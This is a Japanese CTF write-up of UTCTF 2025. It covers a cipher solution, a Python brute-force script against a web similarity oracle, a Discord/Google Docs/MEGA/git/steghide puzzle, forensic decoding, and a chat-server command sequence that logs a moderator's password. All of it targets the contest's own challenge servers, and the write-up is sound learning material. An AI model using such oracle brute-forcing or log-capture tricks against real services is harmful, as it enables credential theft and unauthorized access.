3/15 - 3/17という日程で開催された。BunkyoWesternsのマヌルネコとして参加して34位。48時間のCTFとは思えない簡単さだったり、エスパー問が多かったり、ネガティブなポイントが多かった。rating weightが67.21とされていた*1けれども、そこから想像できる品質からは程遠く感じた。
競技中に解いた問題
[Cryptography 106] Autokey Cipher (294 solves)
I know people say you can do a frequency analysis on autokey ciphers over long text, but the flag is short so it'll be fine.
lpqwma{rws_ywpqaauad_rrqfcfkq_wuey_ifwo_xlkvxawjh_pkbgrzf}
by jocelyn (@jocelyn3270 on discord)
Autokey Cipherというのは知らなかったけれども、古典暗号という感じの見た目をしている。ググると確かにそうらしい。Vigenere暗号の親戚というか、作ったのがVigenereさんということで兄弟のようなものだろうか。
"Autokey Cipher solver" 等で検索するとそれっぽいソルバが見つかる。Vigenere SolverとされているけれどもAutokey Cipherにも対応している。雑に投げると rwiliuvp
というキーワードで次のように復号できると言われる。大体なんとかなってそう。フラグフォーマットが utflag{…}
であることや、なんかfrequency analysisみたいなものが見えることを使えばよさそう。
utileg{why_foemuency_dnelysis_than_know_eekinnind_latters}
手作業で直す。rwllmuvp
がキーワードだった。
utflag{why_frequency_analysis_when_know_beginning_letters}
Cryptoで4問があるうちの3問目がこれだった。
[Web 781] OTP (146 solves)
Find your One True Pairing on this new site I made! Whoever has the closest OTP to the "flag" will get their very own date!
This problem resets every 30 minutes.
By Sasha (@kyrili on discord)
(問題サーバのURL)
与えられたURLにアクセスすると、次のような画面が表示される。適当にユーザ名とsecretを入力して送信する。もうひとつユーザを登録して "Look up a specific pairing" でそれら2つのユーザ名を入力すると、なにやら数値が出てきた。secretの差分かなにかを数値化しているらしい。secretが近ければ小さな値に、大きく異なっていれば大きな値になる。まったく同じsecretであればその値は0になる。
問題名からは flag
というユーザがsecretとしてフラグを持っていそうだと推測できる。1文字ずつブルートフォースして、もっとも差分が小さい文字を採用していくスクリプトを書く。
import re import secrets import string import sys import httpx def register(u, p): return client.post('/index.php', data={ 'username': u, 'password': p }) def diff(u): r = client.post('/index.php', data={ 'username1': u, 'username2': 'flag' }) return int(re.findall(r': (\d+)', r.text)[0]) def register_and_diff(p): u = secrets.token_hex(8) register(u, p) return diff(u) table = string.digits + string.ascii_lowercase + string.ascii_uppercase + '_{}' with httpx.Client(base_url='http://(省略)/') as client: known = 'utflag{On3' while True: mn, mc = 10000, '?' for c in table: while True: try: r = register_and_diff(known + c) except KeyboardInterrupt: sys.exit(0) except: pass else: break if r < mn: mn, mc = r, c known += mc print(known) if register_and_diff(known) == 0: break
実行するとフラグが得られた。
$ python3 s.py utflag{On3_ utflag{On3_s utflag{On3_sT utflag{On3_sT3 utflag{On3_sT3P utflag{On3_sT3P_ utflag{On3_sT3P_4 utflag{On3_sT3P_4t utflag{On3_sT3P_4t_ utflag{On3_sT3P_4t_4 utflag{On3_sT3P_4t_4_ utflag{On3_sT3P_4t_4_t utflag{On3_sT3P_4t_4_t1 utflag{On3_sT3P_4t_4_t1m utflag{On3_sT3P_4t_4_t1m3 utflag{On3_sT3P_4t_4_t1m3}
utflag{On3_sT3P_4t_4_t1m3}
Webではないだろう。以降同じauthorの問題が何度も出てくるが、いずれもとても面白いとは言い難く、むしろ理不尽だったりエスパー要素が強かったりしてつらかった。問題のレビューをちゃんとしてほしい。
[Misc 886] Down the Rabbit Hole (104 solves)
Join our Discord and find the flag. https://discord.gg/RDDNTV7F62
Note: The initial scope for this challenge is just the Discord server itself, and not any persons or individuals. Unofficial content is not in scope.
By Sasha (@kyrili on discord)
問題文の招待リンクはUTCTFのDiscordサーバに入れるもので、なにかこの問題のために特別に用意されたようなものではなかった。変なbotはいないし、というか大量にユーザもメッセージもあるサーバだから情報の収集がやりづらくて仕方がない。この問題専用のDiscordサーバを作るような思いやりを見せてほしい。
rabbit holeが多すぎるだろとブチギレている*2と、rand0mさんがどこからか次のような不思議なURLとパスワードを見つけてきてくれた。どこかのチャンネルにあったらしい。
Planning doc: https://docs.google.com/document/d/1cgFhoHKLEbbJlu1SX4gCfFI4CGEEoEisiFq1CW-TKUo/ Admin password: Bdm@9D/]J^7@9[D(
黒塗りになっている箇所がある。
が、よく見ると各行の最後の1文字だけスペースでない文字になっている*3。
2ページ目の最後に白文字で WPPVY-9YgdHlRZjIWlYWnyST4lqZiILaA_tpGt3bqVU
と書かれている。
最初にある https://utctf.live
というリンクも、よく見るとGistへのリンクになっている。そんなこと、あるか?*4
リンク先のGistにはなにもないように見える。
が、変更履歴を見ると https://mega.nz/file/HHgR1RRL
というMEGAへのリンクがある。
MEGAのリンクにアクセスすると「復号キーを入力してください」と言われる。白文字で書かれていたパスワードを入力すると、rabbit.zip
をダウンロードできた。パスワードがかかっているが、admin passwordとされていた Bdm@9D/]J^7@9[D(
がそれだった*5。
中にはうさぎの画像と .git
ディレクトリが入っていた。うさぎの画像が過去のコミットで書き換えられていることがわかるので、git reset --hard
なりなんなりで。別のうさぎの画像が出てきた*6。
$ git log -p commit 3063138d285ed27944490858fcbca3b3715012c4 (HEAD -> master) Author: Sasha Huang <huang@cs.utexas.edu> Date: Mon Feb 24 17:48:37 2025 -0600 oops diff --git a/image.jpg b/image.jpg index 5c6f3ba..8fa736d 100644 Binary files a/image.jpg and b/image.jpg differ commit 584451911960d0363c8fa6e5abcbc5d22a090086 Author: Sasha Huang <huang@cs.utexas.edu> Date: Mon Feb 24 17:48:10 2025 -0600 initial commit diff --git a/image.jpg b/image.jpg new file mode 100644 index 0000000..5c6f3ba Binary files /dev/null and b/image.jpg differ
いい加減に頭もguessing思考に切り替わっていて、画像ということはどうせSteghideでなにか仕込んでいるのだろうと考える。Stegseekと rockyou.txt
の組み合わせでは不発だった。では残っている不思議な文字列がないか。あった、黒塗りになっていた文字たちだ。ということで、Coq\IP1o7hr#yyW7
がパスワードだった。なんとか解けた*7。
utflag{f0ll0w1ng_th3_wh1t3_r4bb1t_:3}
ストーリー性もなにも感じない、純粋なエスパー問だった。なにもかもが意味不明だ。Discordサーバで感想を見ているとこれが一番面白いと感じている人が何人か見えて、正直なところどこにそんな面白さを感じているのかが理解できない。
[OSINT 754] Three Words 1 (153 solves)
The three words I would use to describe this location are...
Flag format: utflag{word1.word2.word3}
Note: For the OSINT challenges, find the location where the photo was taken.
By Sasha (@kyrili on discord)
添付ファイル: image.png
次の画像が与えられる。とりあえず大まかな場所を掴みたいが、左下に …HB
や Hackerman
といった文字情報が見えること、また牛柄のバナーが見えることぐらいしか使えそうな情報がない。まずこのCTFの主催と後者のロゴからUT Austinであることがわかる。とはいえ、さすがはアメリカという感じでキャンパスがデカく総当たりはやってられない。
「UT Austin "hackerman"」で検索してみると、Norman HackermanというUT Austinに関連する人物が出てくる。ということは、この人物にちなんで命名された建物なのだろう。もう少し詳しく検索結果を見ていると、Norman Hackerman Buildingという建物があるとわかる。
GoogleマップでNormal Hackerman Buildingと検索すると、同じデザインの看板が見つかる。しかしながら、周りの風景がぜんぜん違う。この周辺はストリートビューがほとんどなく、衛星写真等からそれっぽい場所を探すしかない。
ちなみに、フラグフォーマットは3つの単語ということだけれども、これはwhat3wordsのことだろう。これは精度が3m四方であるわけだけれども、厳しすぎないか。rand0mさんが通してくれた。ありがとうrand0mさん…
utflag{online.animate.quietly}
OSINT問は全部で3問あったけれども、いずれもwhat3wordsで答えろという形式だった。精度が厳しすぎるし、まったく本質的ではない部分で引っかかることになるからやめてほしい。
[Forensics 669] Forgotten Footprints (175 solves)
I didn't want anyone to find the flag, so I hid it away. Unfortunately, I seem to have misplaced it.
https://drive.google.com/file/d/1L75zJ1ha1-myAM3vL_C6lpT8VJe1XQHB/view?usp=sharing
by Caleb (@eden.caleb.a on discord)
Googleドライブからイメージファイルをダウンロードし、strings
コマンドを実行する。なにかhexが出てきた。
_BHRfS_M 7574666c61677b64336c337433645f6275375f6e30745f67306e335f34657665727d…
これをデコードするとフラグが得られた。
utflag{d3l3t3d_bu7_n0t_g0n3_4ever}
[Forensics 930] Finally, an un-strings-able problem (76 solves)
I inherited this really cursed disk image recently. All the files seem to be corrupted and I can't even read some of them. What the heck is going on?
https://cdn.utctf.live/disk.img
By Sasha (@kyrili on discord)
イメージファイルをダウンロードする。ext4らしい。
$ file disk.img disk.img: Linux rev 1.0 ext4 filesystem data, UUID=981eb2d5-0400-4c7d-986e-e9c3860666d3 (extents) (64bit) (large files) (huge files)
マウントして含まれるファイルの一覧を見てみると、パーミッションがなんだかすごいことになっている。また、更新日時でソートすると1分刻みになっていることがわかる。
なるほど、パーミッションに1ビットずつフラグを埋め込んでいるのだなとエスパーする。デコードするJSのスクリプトを書く。
const s = `--wxr-x-w- 1 root root 1025 Mar 12 10:23 PtRcxoHyWhhS6z9q.txt -rwx-w---x 1 root root 1025 Mar 12 10:24 y7Dsjz7CmkvpTA1H.txt -r--rw--wx 1 root root 1025 Mar 12 10:25 R6qgmnljCORHERFH.txt --wx---rw- 1 root root 1025 Mar 12 10:26 1Pe4S76zWpxA8mgI.txt ----r-xr-- 1 root root 1025 Mar 12 10:27 u70m5b8l2T3vnZHZ.txt -rwx-wxrw- 1 root root 1025 Mar 12 10:28 x9f1QlloTkYd5sfU.txt -rw--wx--x 1 root root 1025 Mar 12 10:29 eiUFiXPDk6oee8sL.txt -r-xrwx--- 1 root root 1025 Mar 12 10:30 kY4FOlfPt3qGR17K.txt --wxr----- 1 root root 1025 Mar 12 10:31 cDnYAOBE4mvBnh0C.txt --wx--xr-x 1 root root 1025 Mar 12 10:32 Uljik5BaQPOeMjfc.txt -rw--w--wx 1 root root 1025 Mar 12 10:33 OOVH70vCevC3FSZq.txt -r-x---r-x 1 root root 1025 Mar 12 10:34 HsxVbSgKw3d7tvFi.txt -rwxr-xr-- 1 root root 1025 Mar 12 10:35 fGMkb1gANtjLb5Qz.txt -rw---xr-- 1 root root 1025 Mar 12 10:36 6ReSGoJsRnFqhg7r.txt ----rwx--x 1 root root 1025 Mar 12 10:37 uAkL5PqfK2I7K4PE.txt ----rw--wx 1 root root 1025 Mar 12 10:38 lysJisb6wMlPG9WX.txt --wx-wxr-- 1 root root 1025 Mar 12 10:39 LuVzAMVXkpJYAxRM.txt -rwx--xr-- 1 root root 1025 Mar 12 10:40 GP4decBqHC6UL66s.txt -rw---x-wx 1 root root 1025 Mar 12 10:41 S5dyoQrp6a8grHOD.txt ----rw-r-x 1 root root 1025 Mar 12 10:42 kcVtPjZM85b4B3V6.txt -rwxr--rw- 1 root root 1025 Mar 12 10:43 t7WeFKhvlS3e1Yet.txt -r---wx-wx 1 root root 1025 Mar 12 10:44 pU2aTHrPpCjthwwi.txt -r---wx-w- 1 root root 1025 Mar 12 10:45 Z0VC73hFMVt2AcO9.txt ---xr-xr-- 1 root root 1025 Mar 12 10:46 bG0d9OBnfwVP2NS8.txt --wxrw--w- 1 root root 1025 Mar 12 10:47 Vp7XQiTt4ad9IDfB.txt -rwx--xr-- 1 root root 1025 Mar 12 10:48 GeDYq3hoIx7oijhO.txt -rw---x-wx 1 root root 1025 Mar 12 10:49 5UhgLeVLJWuEnc4W.txt -r--rw-r-x 1 root root 1025 Mar 12 10:50 B7HIyq5CKwGavwaW.txt -rwxr--rwx 1 root root 1025 Mar 12 10:51 3zkhN7A0Vqe0HgNC.txt --w---xr-- 1 root root 1025 Mar 12 10:52 KEY19YZmg8L92D1H.txt -rw-rw---x 1 root root 1025 Mar 12 10:53 HN5vsOJkU4004pEl.txt -r-xrwxr-x 1 root root 1025 Mar 12 10:54 W5xw54rLYvyj7qRM.txt`; const t = s.split('\n').map(x => x.split(' ')[0].slice(1).replaceAll('-', '0').replaceAll(/[^0]/g, '1')); console.log(String.fromCharCode(...t.join('').match(/.{8}/g).map(x => parseInt(x, 2))));
実行するとフラグが得られた。
utflag{3xp3rt_f0r3ns1c_4n4lys1s_:3c}
意味がわからない。
競技終了後に解いた問題
[Web 981] Chat (39 solves)
A chat server with some 'interesting' features! I wonder how many of them are secure...
(Send /help to get started.)
By Alex (.alex. on discord)
与えられたURLにアクセスするとチャットアプリが表示される。
適当なユーザ名でログインする。general
, log
, mod-info
の3つのチャンネルがあるらしいが、general
以外はadminでなければ表示できないと言われる。問題文の指示通り /help
を実行すると、次のように利用可能なコマンドの一覧が表示される。
Help: /help display this message /msg [text] send a message on the current channel /nick [name] change your username /list list available channels /join [channel] switch to a different channel /channel show info about the current channel /users list users in the current channel /user [id] show info about the given user /create [channel] create a new channel /delete [channel] delete a channel /set [prop] [value] configure channels or users /announce [msg] send a message to all channels /kick [id] kick a user /ban [id] ban a user /login [password] log in as a moderator or admin. (CTF note: do not brute force.)
/users
でユーザの一覧を確認すると、0000000000000 (admin)
と 0000moderator (moderator)
という大変あやしいユーザがいるとわかる。
/set
で何が設定できるのか確かめたく、/set hoge
と適当に引数を与えてやると、Unknown property. Available property groups: channel, user
と言われた。/set
の引数に user
や channel
を加えてやると、次のプロパティが設定可能であるとわかる。
> /set user hoge Available user properties: .name, .style > /set channel hoge Available channel properties: .description, .slowmode, .hidden, .immutable, .owner, .admin-only, .mode
/user
を実行すると自身の情報が確認できる。
User '2v3mnegldnloq': - name: poyopo - privileges: Privileges(CHANNEL_CREATE | CHANNEL_DELETE | MESSAGE_SEND | CHANNEL_MODIFY) - created: 2025-03-17T13:19:25Z[Etc/Unknown] - banned: N/A - style: "& .username { color: var(--palette-3); &::before, &::after { color: var(--fg) } }"
privileges
という大変気になるプロパティもあり、権限昇格したくなるのだけれども、残念ながら /set user.privileges hoge
のようなことをしようとするとそんなプロパティは知らないと怒られてしまう。
チャンネルの .mode
とはなんだろうと /set channel.mode hoge
と入力してみたところ、次のようなエラーが表示される。デフォルトのモードである normal
のほかにも log
があるらしい。
Invalid channel mode. Valid modes: 'normal', 'log'
ならばと /set channel.mode log
と入力してみたところ、チャンネルが hidden
かつ admin-only
でなければならないと怒られる。
Log channels must be hidden and admin-only.
hidden
の方は /set channel.hidden true
を実行すると設定でき、チャンネル一覧からは見えなくなる。ただ、admin-only
の方は /set channel.admin-only true
で設定できるのはよいのだけれども、そうすると一般ユーザは入れなくなってしまう。うーむ。
競技時間内には解けず。競技終了後にDiscordサーバで共有されていた解法を見てみると、チャンネルについて admin-only
をtrueにした上で mode
を log
にし、そしてまた admin-only
をfalseにする、という流れを一気にやればよいということだった。log
モードではそのコマンドで発行されたすべてのコマンドが、つまり /login
も含めて記録されるらしい。
admin-only
がtrueになった時点で一旦切断されてしまうけれども、ちゃんとその後の /set channel.admin-only false
も実行してくれるので、一般ユーザでももう一度そのチャンネルに入れるようになる。なるほど。ということで、次のコマンドたちを一気に送信してみる。
/create nekochan /join nekochan /set channel.hidden true /set channel.admin-only true /set channel.mode log /set channel.admin-only false
nekochan
チャンネルに入ると、次のように 0000moderator
が実行したコマンドが記録されていた。パスワードも含まれている。
/log 0000moderator general /join 0000moderator moderator /log 0000moderator general /login unbroken-sandpit-scant-unmixable
/login unbroken-sandpit-scant-unmixable
でモデレータになることができた。mod-info
チャンネルに入って /channel
でチャンネルの情報を確認すると、次のようにフラグが得られた。
Channel 'mod-info': - description: Congradulations on becoming a moderator! The flag is utflag{32c6FLiaX5in9MhkPNDeYBUY}. - slowmode: 0.05 - hidden: false - immutable: true - owner: 0000000000000 - current users: 1 - admin-only: false - mod-only: true - mode: normal
解法を見ると、たしかにWeb問として面白かったけれども、ブラックボックスである必要はなかったのではないか。説明不足なのもちょっとつらい。